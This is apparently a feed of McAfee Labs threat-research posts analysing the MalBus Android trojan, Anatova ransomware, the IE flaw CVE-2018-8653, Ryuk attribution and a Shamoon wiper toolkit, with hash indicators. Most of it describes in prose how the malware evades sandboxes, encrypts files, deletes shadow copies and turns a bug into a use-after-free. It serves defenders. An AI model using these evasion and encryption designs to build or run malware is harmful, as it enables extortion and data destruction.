Inside doMainProc(), the trojan receives commands from the C2 server and calls appropriate handlers. Part of the switch block below gives us an idea of what type of commands this trojan supports.

Figure 14. Subset of command handlers implemented in the dropped trojan.

As you can see, it has all the functionality that a normal trojan has. Downloading, uploading and deleting files on the device, leaking information to a remote server and so on. The following table explains supported C2 commands:

Figure 15. C2 Commands

Before entering the command handling loop, the trojan does some initialization, like sending device information files to the server and checking the UID of the device. Only after the UID checking returns a 1 does it enter the loop.

Figure 16 Servers connected before entering command loop

Among these commands, directory indexing in particular is important. The directory structure is saved in a file named “kakao.property” and while indexing the given path in the user device, it checks the file with specific keywords and if it matches, uploads the file to the remote upload server. These keywords are Korean and its translated English version is as per the following table:

Figure 17 Search file keywords

By looking at the keywords we can anticipate that the malware authors were looking for files related to the military, politics and so on. These files are uploaded to a separate server.

Figure 18 Keyword matching file upload server

Conclusion

Applications can easily trick users into installing them before then leaking sensitive information. Also, it is not uncommon to see malware sneaking onto the official Google Play store, making it hard for users to protect their devices. This malware has not been written for ordinary phishing attempts, but rather very targeted attacks, searching the victim’s devices for files related to the military and politics, likely trying to leak confidential information. Users should always install applications that they can fully trust even though they are downloaded from trusted sources.

McAfee Mobile Security detects this threat as Android/MalBus and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com.

Hashes (SHA-256)

Initial Downloader (APK)
• 19162b063503105fdc1899f8f653b42d1ff4fcfcdf261f04467fad5f563c0270
• bed3e665d2b5fd53aab19b8a62035a5d9b169817adca8dfb158e3baf71140ceb
• 3252fbcee2d1aff76a9f18b858231adb741d4dc07e803f640dcbbab96db240f9
• e71dc11e8609f6fd84b7af78486b05a6f7a2c75ed49a46026e463e9f86877801

Fake Plugin (APK)
• ecb6603a8cd1354c9be236a3c3e7bf498576ee71f7c5d0a810cb77e1138139ec
• b8b5d82eb25815dd3685630af9e9b0938bccecb3a89ce0ad94324b12d25983f0

Trojan (additional payload)
• b9d9b2e39247744723f72f63888deb191eafa3ffa137a903a474eda5c0c335cf
• 12518eaa24d405debd014863112a3c00a652f3416df27c424310520a8f55b2ec
• 91f8c1f11227ee1d71f096fd97501c17a1361d71b81c3e16bcdabad52bfa5d9f
• 20e6391cf3598a517467cfbc5d327a7bb1248313983cba2b56fd01f8e88bb6b9

The post MalBus: Popular South Korean Bus App Series in Google Play Found Dropping Malware After 5 Years of Development appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/malbus-popular-south-korean-bus-app-series-in-google-play-found-dropping-malware-after-5-years-of-development/feed/ 0
Happy New Year 2019! Anatova is here! https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/#respond Tue, 22 Jan 2019 20:43:53 +0000 https://securingtomorrow.mcafee.com/?p=93918

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public. Our telemetry showed that […]

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

]]>

During our continuous hunt for new threats, we discovered a new ransomware family we call Anatova (based on the name of the ransom note). Anatova was discovered in a private peer-to-peer (p2p) network. After initial analysis, and making sure that our customers are protected, we decided to make this discovery public.

Our telemetry showed that although Anatova is relatively new, we already discovered a widespread detection of the thread around the globe

We believe that Anatova can become a serious threat since the code is prepared for modular extension.

Additionally, it will also check if network-shares are connected and will encrypt the files on these shares too. The developers/actors behind Anatova are, according our assessment, skilled malware authors. We draw this conclusion as each sample has its own unique key, as well as other functions we will describe, which we do not often see in ransomware families.

This post will explain the technical details of Anatova, as well as some interesting facts about this new ransomware family.

For the analysis we used this particular hash: 170fb7438316f7335f34fa1a431afc1676a786f1ad9dee63d78c3f5efd3a0ac0

The main goal of Anatova is to cipher all the files that it can before requesting payment from the victim.

 

Anatova Overview

Anatova usually uses the icon of a game or application to try and fool the user into downloading it. It has a manifest to request admin rights.

Information about the binary

The Anatova ransomware is a 64bits application with the compile date of January 1st, 2019. The file size of this particular hash is 307kb, but it can change due to the amount of resources used in the sample. If we remove all these resources, the size is 32kb; a very small program with a powerful mechanism inside.

Anatova has some strong protection techniques against static analysis which makes things slightly tricky:

  • Most of the strings are encrypted (Unicode and Ascii), using different keys to decrypt them, embedded in the executable.
  • 90% of the calls are dynamic;, they only use the following non-suspicious Windows API’s and standard library of C- programming language: GetModuleHandleW, LoadLibraryW, GetProcAddress, ExitProcess and MessageBoxA.
  • When we open the binary in IDA Pro (included the latest version of IDA) the functions are bad detected, and they finish being processed after 3 opcodes. We are not sure if this is a bug in IDA Pro or perhaps the malware authors created something to cause this on purpose (which we doubt).

Problem in IDA Pro 7.2 last version

 

Entry Vector

At the moment we don´t know all entry vectors that Anatova is using, or will be using, in the near future. Our initial finding location was in private p2p.

The goal of Anatova, as with other ransomware families, is to encrypt all or many files on an infected system and insist on payment to unlock them. The actor(s) demand a ransom payment in cryptocurrency of 10 DASH – currently valued at around $700 USD, a quite high amount compared to other ransomware families.

 

In-depth highlights of version 1.0

Since this is a novel family, we didn’t find any version number inside the code, but let’s call this version 1.0

The first action that the malware executes is to get the module handle of the library “kernel32.dll” and get 29 functions from it using the function “GetProcAddress”.

Get kernel32 functions after decrypt strings

If the malware can´t get the module handle of kernel32, or some of the functions can´t be found, it will quit without executing any encryption.

Later, the malware will try to create a mutex with a hardcoded name (in this case: 6a8c9937zFIwHPZ309UZMZYVnwScPB2pR2MEx5SY7B1xgbruoO) but the mutex name changes in each sample. If the mutex is created, and gets the handle, it will call the “GetLastError” function and look if the last error is ERROR_ALREADY_EXISTS or ERROR_ACCESS_DENIED. Both errors mean that a previous instance of this mutex object exists. If that is the case, the malware will enter in a flow of cleaning memory, that we will explain later in this post, and finish.

Check mutex

After this check, Anatova will get some functions from the library “advapi32.dll”, “Crypt32.dll” and “Shell32.dll” using the same procedure as in the kernel case. All text is encrypted and decrypted one per one, get the function, free the memory, and continue with the next one.

If it fails in getting some of these modules or some of the functions it needs, it will go to the flow of cleaning tool and exit.

One interesting function we discovered was that Anatova will retrieve the username of the logged in and/or active user and compare with a list of names encrypted. If one of the names is detected, it will go to the cleaning flow procedure and exit.

The list of users searched are:

  • LaVirulera
  • tester
  • Tester
  • analyst
  • Analyst
  • lab
  • Lab
  • Malware
  • malware

Some analysts or virtual machines/sandboxes are using these default usernames in their setup, meaning that the ransomware will not work on these machines/sandboxes.

After this user-check, Anatova will check the language of the system. When we say language, we mean the system language. When a user installs the Windows OS, they choose a language to install it with (though later the user could install a different language). Anatova checks for the first installed language on the system to ensure that a user cannot install one of these blacklisted languages to avoid encryption of the files.

The list of the countries that Anatova doesn’t affect are:

  • All CIS countries
  • Syria
  • Egypt
  • Morocco
  • Iraq
  • India

It’s quite normal to see the CIS countries being excluded from execution and often an indicator that the authors might be originating from one of these countries. In this case it was surprising to see the other countries being mentioned. We do not have a clear hypothesis on why these countries in particular are excluded.

Check system language

After the language check, Anatova looks for a flag that, in all samples we looked at, has the value of 0, but if this flag would change to the value of 1 (the current malware samples never change that value), it will load two DLLs with the names (after decryption) of “extra1.dll” and “extra2.dll”. This might indicate that Anatova is prepared to be modular or to be extended with more functions in the near future.

Load extra modules

After this, the malware enumerates all processes in the system and compares them with a large list including, for example “steam.exe”, “sqlserver.exe”, etc. If some of these processes are discovered, the malware will open them and terminate them. This action is typical of ransomware that attempts to unlock files that later will be encrypted, such as database files, game files, Office related files, etc.

The next action is to create an RSA Pair of Keys using the crypto API that will cipher all strings. This function is the same as in other ransomware families, such as GandCrab or Crysis, for example. It makes sure that the keys that will be used, are per user and per execution.

If the malware can´t create the keys, it will go to the clean flow and exit.

After this, Anatova will make a random key of 32 bits and another value of 8 bytes using the function of the crypto API “CryptGenRandom” to encrypt using the Salsa20 algorithm and the private previous blob key in runtime.

During the encryption process of the files, it will decrypt the master RSA public key of the sample of 2 layers of crypto, the first one is a XOR with the value 0x55 and the second one is to decrypt it using a hardcoded key and IV in the sample using the Salsa20 algorithm.

Decrypt from first layer the master RSA public key of sample

After this, it will import the public key and with it, will encrypt the Salsa20 key and IV used to encrypt the private RSA key in runtime.

The next step is to prepare a buffer of memory and with all of the info encrypted (Salsa20 key, Salsa20 IV, and private RSA key). It makes a big string in BASE64 using the function “CryptBinaryToStringA”. The ransomware will later clean the computer’s memory of the key, IV, and private RSA key values, to prevent anyone dumping this information from memory and creating a decrypter.

This BASE64 string will be written later in the ransom note. Only the malware authors can decrypt the Salsa20 key and IV and the private RSA key that the user would need  to decrypt the files.

If this does not work, Anatova will delete itself, enter in the clean flow and exit.

When the keys are encrypted in the memory buffer, Anatova will enumerate all logic units and will search for all existing instances of the type DRIVE_FIXED (a normal hard disk for example) or DRIVE_REMOTE (for remote network shares that are mounted). Anatova will try to encrypt the files on each of those locations. This means that one corporate victim can cause a major incident when files on network-shares are being encrypted.

Check all logic units

For each mounted drive – hard disk or remote share, Anatova will get all files and folders. It will later check if it is a folder and, if it is, will check that the folder name doesn’t have the name of “.” and “..”, to avoid the same directory and the previous directory.

In the list of gathered folder names, Anatova checks against a list of blacklisted names such as “Windows”, “Program Files”, “Program Files(x86)”, etc. This is usual in many ransomware families, because the authors want to avoid destroying the Operating System, instead targeting the high value files. Anatova does the same for file-extensions .exe, .dll and .sys that are critical for the Operating system as well.

Check file name and extension

If this check is passed, Anatova will open the file and get its size, comparing it to1 MB. Anatova will only encrypt files1 MB or smaller to avoid lost time with big files; it wants to encrypt fast. By setting pointers at the end of the encrypted files, Anatova makes sure that it does not encrypt files that are already encrypted.

Next, Anatova will create a random value of 32bits as a key for the Salsa20 algorithm and another value of 8 bytes that will be used as IV for Salsa20.

With these values, it will read all files in memory or files with a maximum size of 1 MB and encrypt this information with the key and IV using the Salsa20 algorithm (this is very popular lately because it is a very quick algorithm and has open source implementations).

Encryption of files function

It will import the RSA public key created in runtime and with it, encrypt the key and IV used to encrypt the file. Next, it will write the encrypted content in the same file from the beginning of the file and then it will set the pointer to the end of the file and write the next things:

  • The block encrypted of the Salsa20 key is ciphered with the public RSA key.
  • The block encrypted of the Salsa20 IV is ciphered with the public RSA key.
  • The size of the file is smaller than 1 MB.
  • A special hardcoded value for each sample that will appear in the ransom note.
  • A special hardcoded value in the sample that is the mark of infection checked before to avoid encrypting the same file twice.

When this is completed, Anatova will write a ransom note in the same folder. So, if Anatova can´t encrypt at least something in a folder, it won’t create a ransom note in this folder, only in the affected folders.

This behavior is different from other ransomware families that write a ransom note in all folders.

The ransom note text is fully encrypted in the binary, except for the mail addresses to contact the author(s) and the dash address to pay.

Anatova doesn’t overwrite the ransom note if it already exists in a folder in order to save time.The ransom note contains the base64 block with all encrypted information that is needed to decrypt the files in a block that start with the string “—-KEY—-”, as well asthe id number.

Responding victims are then allowed to decrypt one .jpg file of maximum size 200kb free of charge, as proof that they the decrypted files can be retrieved.

Example of ransom note

When all this is done, Anatova will destroy the Volume Shadow copies 10 times in very quick succession. Like most ransomware families, it is using the vssadmin program, which required admin rights, to run and delete the volume shadow copies.

Delete of Shadow Volumes 10 times

Finally, when all steps are completed, the ransomware will follow the flow of cleaning code, as described earlier, mainly to prevent dumping memory code that could assist in creating a decryption tool.

COVERAGE

Customers of McAfee gateway and endpoint products are protected against this version. Detection names include Ransom-Anatova![partialhash].

INDICATORS OF COMPROMISE

The samples use the following MITRE ATT&CK™ techniques:

  • Execution through API
  • Application processes discovery
  • File and directory discovery: to search files to encrypt
  • Encrypt files
  • Process discovery: enumerating all processes on the endpoint to kill some special ones
  • Create files
  • Elevation of privileges: request it to run.
  • Create mutants

 

Hashes:

2a0da563f5b88c4d630aefbcd212a35e

366770ebfd096b69e5017a3e33577a94

9d844d5480eec1715b18e3f6472618aa

61139db0bbe4937cd1afc0b818049891

596ebe227dcd03863e0a740b6c605924

 

The post Happy New Year 2019! Anatova is here! appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/happy-new-year-2019-anatova-is-here/feed/ 0
IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/#respond Thu, 10 Jan 2019 23:27:28 +0000 https://securingtomorrow.mcafee.com/?p=93699

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received […]

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

]]>

Microsoft recently patched a critical flaw in Internet Explorer’s scripting engine that could lead to remote code execution. The vulnerability is being exploited in the wild and was originally reported by a researcher from Google’s Threat Analysis Group. Microsoft released an out-of-band patch to fix the vulnerability before the normal patch cycle. McAfee products received an update to detect the threat shortly after the patch was released.

A remote attacker can target Internet Explorer Versions 9 through 11 via a specially crafted website, while a local attacker on a rogue network could also target the Web Proxy Auto-Discovery service, which uses the same vulnerable scripting engine (jscript.dll). Microsoft Edge is not affected; however, other Windows applications that include the scripting engine might be vulnerable until the security patch from Microsoft is applied.

Context

Vulnerabilities targeting Internet Explorer that can be triggered either remotely or locally are prime tools for cybercriminals to compromise many unpatched computers. That is why criminals usually integrate those vulnerabilities into exploit kits, which propagate malware or conduct other nefarious activities against compromised hosts. The threat of exploit kits is one reason to track this type of vulnerability and to ensure all security patches are deployed in a timely manner. In 2018, more than 100 memory corruption vulnerabilities were found in a Microsoft scripting engine (either for Internet Explorer or Edge). See the MITRE website for more details. (For defense-in-depth, products such as McAfee Endpoint Security or McAfee Host Intrusion Prevention can detect and eradicate such threats until patches can be applied.)

Once a CVE ID is released, cybercriminals can take as little as a few weeks (or in some cases days) to integrate it into their exploit kit. For example, CVE-2018-8174 was initially reported to Microsoft in late April by two teams of threat researchers who had observed its exploitation in the wild. Microsoft published an advisory within a week, in early May. Meanwhile, the researchers published their security analysis of the exploit. Only two weeks later a proof-of-concept exploit was publicly released. In the next couple of weeks exploit kits RIG and Magnitude integrated their weaponized versions of the exploit. (A more detailed timeline can be found here.)

It took less than a month for cybercriminals to weaponize the vulnerability initially disclosed by Microsoft; therefore, it is critical to understand the threat posed by these attack vectors, and to ensure counter measures are in place to stop the threat before it can do any damage.

Technical details

The IE scripting engine jscript.dll is a code base that has been heavily audited:

It is no surprise that exploitable bugs are becoming more exotic. This is the case for CVE 2018-8653, which takes three seemingly innocent behaviors and turns them into a use-after-free flaw. A Microsoft-specific extension triggers a rarely explored code path that eventually misbehaves and invokes a frequently used function with unusual arguments. This leads to the use-after-free condition that was exploited in the wild.

The enumerator object: The entry point for this vulnerability is a Microsoft-specific extension, the enumerator object. It offers an API to enumerate opaque objects that belong to the Windows world (mostly ActiveX components, such as a file system descriptor used to list drives on a system). However, it can also be called on a JavaScript array. In this situation, one can access the array member as usual, but objects created this way are stored slightly differently in memory. This is the cause of interesting side effects.

The objects created by calling the Enumerator.prototype.item() function are recognized as an ActiveXObject and, as seen in the creation of eObj, we can under certain circumstances overwrite the “prototype” member that should have been a read-only property.

Unexpected side effect: The ability to overwrite the prototype member of an ActiveXObject can seem innocuous at first, but it can be leveraged to explore a code path that should not be reachable.

When using the “instanceof” keyword, we can see that the right side of the keyword expects a function. However, with a specially crafted object, the instanceof call succeeds and, worse, we can control the code being executed.

The edge case of invoking instanceof on a specially crafted ActiveXObject gives us the opportunity to run custom JavaScript code from a callback we control, which is typically an error-prone situation.

Attackers successfully turned this bug into a use-after-free condition, as we shall see next.

Exploiting the bug: Without getting into too much detail (see the proof of concept later in this document for more info), this bug can be turned into a “delete this” type of primitive, which resembles previously reported bugs.
When the callback function (“f” in our previous example) is invoked, the keyword “this” points to eObj.prototype. If we set it to null and then trigger a garbage collection, the memory backing the object can be freed and later reclaimed. However, as mentioned in the Project Zero bug report, to be successful an entire block of variables needs to be cleared before the memory is freed.

The out-of-band patch: Microsoft released an unscheduled patch to fix this vulnerability. It is common practice for us to look at what changed before and after the patch. Interestingly, this patch changes the strict minimum number of bytes, while the version number of the DLL remains unchanged.

Using the popular diffing tool Diaphora, we compared the version of jscript.dll for Windows 10, x64-bit edition (feature version 1809).

We can see that only a few functions were modified. All but one point to array-related functions. Those were probably patches addressing CVE 2018-8631 (jscript!JsArrayFunctionHeapSort out-of-bounds write). The only one remaining that was substantially modified is NameTbl::InvokeInternal.

Diaphora provides us with a diff of the assembly code of the two versions of the function. In this instance, it is easier to compare the functions side by side in Ida Pro to see what has changed. A quick glance toward the end of the function shows the introduction of two calls to GCRoot::~GCRoot (the destructor of the object GCRoot).

Looking at the implementation of ~GCRoot, we see it is the same code as that inlined in that function created by the compiler in the older version of the DLL.

In the newer version of the DLL, this function is called twice; while in the unpatched version, the code was called only once (inlined by the compiler, hence the absence of a function call). In C++ parlance, ~GCRoot is the destructor of GCRoot, so we may want to find the constructor of GCRoot. An easy trick is to notice the magic offset 0x3D0 to see if this value is used anywhere else. We find it near the top of the same function (the unpatched version is on the left):

Diving into the nitty gritty of garbage collection for jscript.dll is beyond the scope of this post, so let’s make some assumptions. In C++/C#, GCRoot would usually design a template to keep track of references pointing to the object being used, so those do not have garbage collection. Here it looks as though we are saving stack addresses (aka local variables) into a list of GCRoot objects to tell the garbage collector not to collect the objects whose pointers are on those specific locations on the stack. In hindsight this makes sense; we were able to “delete this” because “this” was not tracked by the garbage collector, so now Microsoft makes sure to specifically add that stack variable to the tracked elements.

We can verify this hypothesis by tracing the code around an invocation of instanceof. It turns out that just before invoking our custom “isPrototypeOf” callback function, a call to NameTbl::GetVarThis stores a pointer in the newly “protected” stack variable and then invokes ScrFncObj::Call to execute our callback.

Looking at unexpected behavior in `instanceof`: Curious readers might wonder why it is possible to invoke instanceof on a custom object rather than on a function (as described previously). When instanceof is invoked in JavaScript, the CScriptRuntime::InstOf function is called behind the scene. Early on, the function distinguishes two cases. If the variable type is 0x81 (which seems to be a broad type for a JavaScript object on the heap), then it invokes a virtual function that returns true/false if the object can be called. On the other hand, if the type is not 0x81, a different path is followed; it tries to automatically resolve the prototype object and invoke isPrototypeOf.

The 0x81 path:

The not 0x81 path:

 

 

Proof of concept

Now that we have seen the ins and outs of the bug, let’s look at a simple proof of concept that exhibits the use-after-free behavior.

First, we set up a couple of arrays, so that everything that can be preallocated is allocated, and the heap is in a somewhat ready state for the use after free.

Then, we declare our custom callback and trigger the vulnerability:

For some reason, the objects array needs to be freed and garbage collected before the next step of the exploit. This could be due to some side effect of freeing the ActiveXObject. The memory is reclaimed when we assign “1” to the property reallocPropertyName. That variable is a magic string that will be copied over the recently freed memory to mimic legitimate variables. It is created as shown:

The 0x0003 is a variable type that tells us the following value is an integer and that 1337 is its value. The string needs to be long enough to trigger an allocation of the same or similar size as the memory block that was recently freed.

To summarize, JavaScript variables (here, the RegExp objects) are stored in a block; when all the variables from the block are freed, the block itself is freed. In the right circumstances, the newly allocated string can take the place of the recently freed block, and because “this” is still dangling in our callback, it can be used for some type confusion. (This is the method used by the attackers, but beyond the scope of this post.) In this example, the code will print 1337 instead of an empty RegExp.

McAfee coverage

Please refer to the McAfee product bulletin for full coverage updates. Here is a short summary of current product coverage as of this writing.

Endpoint products: Endpoint Security (ENS), ENS Adaptive Threat Protection (ENS-ATP), Host Intrusion Prevention (HIPS), VirusScan Enterprise (VSE), WSS.

  • ENS (10.2.0+) with Exploit Prevention
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • HIPS (8.0.0+)
    • Proactively covered by McAfee Generic Buffer Overflow Protection Signature ID 428
  • ENS (all versions) and WSS (all versions). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V3 DAT (3564)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a
  • VSE (8.8+). Coverage based on samples observed so far. This protection is expected to be expanded over the next few days as viable exploitation attempts are seen.
    • Minimum DAT: V2 DAT (9113)
    • Detection names: Exploit-CVE2018-8653 and Exploit-CVE2018-8653.a

Content summary

  • DATs: V2 DAT (9113), V3 DAT (3564)
  • Generic Buffer Overflow Protection Signature ID 428

MITRE score

The base score (CVSS v3.0) for this vulnerability is 7.5 (High) with an impact score of 5.9 and an exploitability score of 1.6.

Conclusion

CVE-2018-8653 targets multiple versions of Internet Explorer and other applications that rely on the same scripting engine. Attackers can execute arbitrary code on unpatched hosts from specifically crafted web pages or JavaScript files. Even though the bug was recently fixed by Microsoft, we can expect exploit kits to soon deploy a weaponized version of this critical vulnerability, leveraging it to target remaining unpatched systems. The technical analysis in this post should provide enough information for defenders to ensure their systems will withstand the threat and to know which primitives to look for as an entry point for the attack. McAfee security products can be leveraged to provide specific “virtual patching” for this threat until full software patches can be deployed, while current generic buffer overflow protection rules can be used to fingerprint exploit attempts against this and similar vulnerabilities.

The post IE Scripting Flaw Still a Threat to Unpatched Systems: Analyzing CVE-2018-8653 appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ie-scripting-flaw-still-a-threat-to-unpatched-systems-analyzing-cve-2018-8653/feed/ 0
Ryuk Ransomware Attack: Rush to Attribution Misses the Point https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/#respond Wed, 09 Jan 2019 19:00:14 +0000 https://securingtomorrow.mcafee.com/?p=93619

Senior analyst Ryan Sherstobitoff contributed to this report. During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to […]

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>

Senior analyst Ryan Sherstobitoff contributed to this report.

During the past week, an outbreak of Ryuk ransomware that impeded newspaper printing services in the United States has garnered a lot of attention. To determine who was behind the attack many have cited past research that compares code from Ryuk with the older ransomware Hermes to link the attack to North Korea. Determining attribution was largely based on the fact that the Hermes ransomware has been used in the past by North Korean actors, and code blocks in Ryuk are similar to those in Hermes.

The McAfee Advanced Threat Research team has investigated this incident and determined how the malware works, how the attackers operate, and how to detect it. Based on the technical indicators, known cybercriminal characteristics, and evidence discovered on the dark web, our hypothesis is that the Ryuk attacks may not necessarily be backed by a nation-state, but rather share the hallmarks of a cybercrime operation.

How McAfee approaches attribution

Attribution is a critical part of any cybercrime investigation. However, technical evidence is often not enough to positively identify who is behind an attack because it does not provide all the pieces of the puzzle. Artifacts do not all appear at once; a new piece of evidence unearthed years after an attack can shine a different light on an investigation and introduce new challenges to current assumptions.

Ryuk attack: putting the pieces together

In October 2017, we investigated an attack on a Taiwanese bank. We discovered the actors used a clever tactic to distract the IT staff: a ransomware outbreak timed for the same moment that the thieves were stealing money. We used the term pseudo-ransomware to describe this attack. The malware was Hermes version 2.1.

One of the functions we often see in ransomware samples is that they will not execute if the victim’s system language is one of the following:

  • 419 (Russian)
  • 422 (Ukrainian)
  • 423 (Belarusian)

That was October 2017. Searching earlier events, we noticed a posting from August 2017 in an underground forum in which a Russian-speaking actor offered the malware kit Hermes 2.1 ransomware:

What if the actor who attacked the Taiwanese bank simply bought a copy of Hermes and added it to the campaign to cause the distraction? Why go to the trouble to build something, when the actor can just buy the perfect distraction in an underground forum?

In the same underground forum thread we found a post from October 22, 2018, mentioning Ryuk.

This post contains a link to an article in the Russian security magazine Xakep.ru (“Hacker”) discussing the emergence of Ryuk and how it was first discovered by MalwareHunterTeam in August 2018. This first appearance came well before last week’s attack on newspaper printing services.

Manga connection

Ryuk, according to Wikipedia, refers to a Japanese manga character from the series “Death Note.” Ryuk apparently drops a death note, a fitting name for ransomware that drops ransom notes.

Ransomware is typically named by its cybercriminal developer, as opposed to the naming of state-sponsored malware, which is mostly is done by the security industry. It seems the criminals behind Ryuk are into manga.

The use of manga character names and references is common in the cybercriminal scene. We often come across manga-inspired nicknames and avatars in underground forums.

Technical indicators

Looking at research from our industry peers comparing Ryuk and Hermes, we notice that the functionalities are generally equal. We agree that the actors behind Ryuk have access to the Hermes source code.

Let’s dive a bit deeper into Ryuk and compare samples over the last couple of months regarding compilation times and the presence of program database (PDB) paths:

We can see the PDB paths are almost identical. When we compare samples from August and December 2018 and focus on the checksum values of the executables’ rich headers, they are also identical.

From a call-flow perspective, we notice the similarities and evolution of the code:

The Hermes 2.1 ransomware kit, renamed and redistributed as Ryuk.

The author and seller of Hermes 2.1 emphasizes that he is selling is a kit and not a service. This suggests that a buyer of the kit must do some fine tuning by setting up a distribution method (spam, exploit kit, or RDP, for example) and infrastructure to make Hermes work effectively. If changing a name and ransom note are part of these tuning options, then it is likely that Ryuk is an altered version Hermes 2.1.

Attribution: analyzing competing hypotheses

In the race to determine who is behind an attack, research facts (the What and How questions) are often put aside to focus on attribution (the Who question). Who did it? This pursuit is understandable yet fundamentally flawed. Attribution is crucial, but there will always be unanswered questions. Our approach focuses on answering the What and How questions by analyzing the malware, the infrastructure involved, and the incident response performed at the victim’s site.

Our approach is always to analyze competing hypotheses. When investigating an incident, we form several views and compare all the artifacts to support these hypotheses. We try not only to seek verifying evidence but also actively try to find evidence that falsifies a hypothesis. Keeping our eyes open for falsifying facts and constantly questioning our results are essential steps to avoid conformation bias. By following this method, we find the strongest hypothesis is not the one with the most verifying evidence, but the one with the least falsifying evidence.

Examining competing hypotheses is a scientific approach to investigating cyber incidents. It may not help with the race to attribution, but it ensures the output is based on available evidence.

The most likely hypothesis in the Ryuk case is that of a cybercrime operation developed from a tool kit offered by a Russian-speaking actor. From the evidence, we see sample similarities over the past several months that indicate a tool kit is being used. The actors have targeted several sectors and have asked a high ransom, 500 Bitcoin. Who is responsible? We do not know. But we do know how the malware works, how the attackers operate, and how to detect the threat. That analysis is essential because it allows us to serve our customers.

The post Ryuk Ransomware Attack: Rush to Attribution Misses the Point appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/ryuk-ransomware-attack-rush-to-attribution-misses-the-point/feed/ 0
Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/shamoon-attackers-employ-new-tool-kit-to-wipe-infected-systems/#respond Wed, 19 Dec 2018 21:45:13 +0000 https://securingtomorrow.mcafee.com/?p=93278

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used […]

The post Shamoon Attackers Employ New Tool Kit to Wipe Infected Systems appeared first on McAfee Blogs.

]]>

Last week the McAfee Advanced Threat Research team posted an analysis of a new wave of Shamoon “wiper” malware attacks that struck several companies in the Middle East and Europe. In that analysis we discussed one difference to previous Shamoon campaigns. The latest version has a modular approach that allows the wiper to be used as a standalone threat.

After further analysis of the three versions of Shamoon and based on the evidence we describe here, we conclude that the Iranian hacker group APT33—or a group masquerading as APT33—is likely responsible for these attacks.

In the Shamoon attacks of 2016–2017, the adversaries used both the Shamoon Version 2 wiper and the wiper Stonedrill. In the 2018 attacks, we find the Shamoon Version 3 wiper as well as the wiper Filerase, first mentioned by Symantec.

These new wiper samples (Filerase) differ from the Shamoon Version 3, which we analyzed last week. The latest Shamoon appears to be part of a toolkit with several modules. We identified the following modules:

  • OCLC.exe: Used to read a list of targeted computers created by the attackers. This tool is responsible to run the second tool, spreader.exe, with the list of each targeted machine.
  • Spreader.exe: Used to spread the file eraser in each machine previously set. It also gets information about the OS version.
  • SpreaderPsexec.exe: Similar to spreader.exe but uses psexec.exe to remotely execute the wiper.
  • SlHost.exe: The new wiper, which browses the targeted system and deletes every file.

The attackers have essentially packaged an old version (V2) of Shamoon with an unsophisticated toolkit coded in .Net. This suggests that multiple developers have been involved in preparing the malware for this latest wave of attacks. In our last post, we observed that Shamoon is a modular wiper that can be used by other groups. With these recent attacks, this supposition seems to be confirmed. We have learned that the adversaries prepared months in advance for this attack, with the wiper execution as the goal.

This post provides additional insight about the attack and a detailed analysis of the .Net tool kit.

Geopolitical context

The motivation behind the attack is still unclear. Shamoon Version 1 attacked just two targets in the Middle East. Shamoon Version 2 attacked multiple targets in Saudi Arabia. Version 3 went after companies in the Middle East by using their suppliers in Europe, in a supply chain attack.

Inside the .Net wiper, we discovered the following ASCII art:

These characters resemble the Arabic text تَبَّتْ يَدَا أَبِي لَهَبٍ وَتَبَّ. This is a phrase from the Quran (Surah Masad, Ayat 1 [111:1]) that means “perish the hands of the Father of flame” or “the power of Abu Lahab will perish, and he will perish.” What does this mean in the context of a cyber campaign targeting energy industries in the Middle East?

Overview of the attack

 

How did the malware get onto the victim’s network?

We received intelligence that the adversaries had created websites closely resembling legitimate domains which carry job offerings. For example:

  • Hxxp://possibletarget.ddns.com:880/JobOffering.

Many of the URLs we discovered were related to the energy sector operating mostly in the Middle East. Some of these sites contained malicious HTML application files that execute other payloads. Other sites lured victims to login using their corporate credentials. This preliminary attack seems to have started by the end of August 2018, according to our telemetry, to gather these credentials.

A code example from one malicious HTML application file:

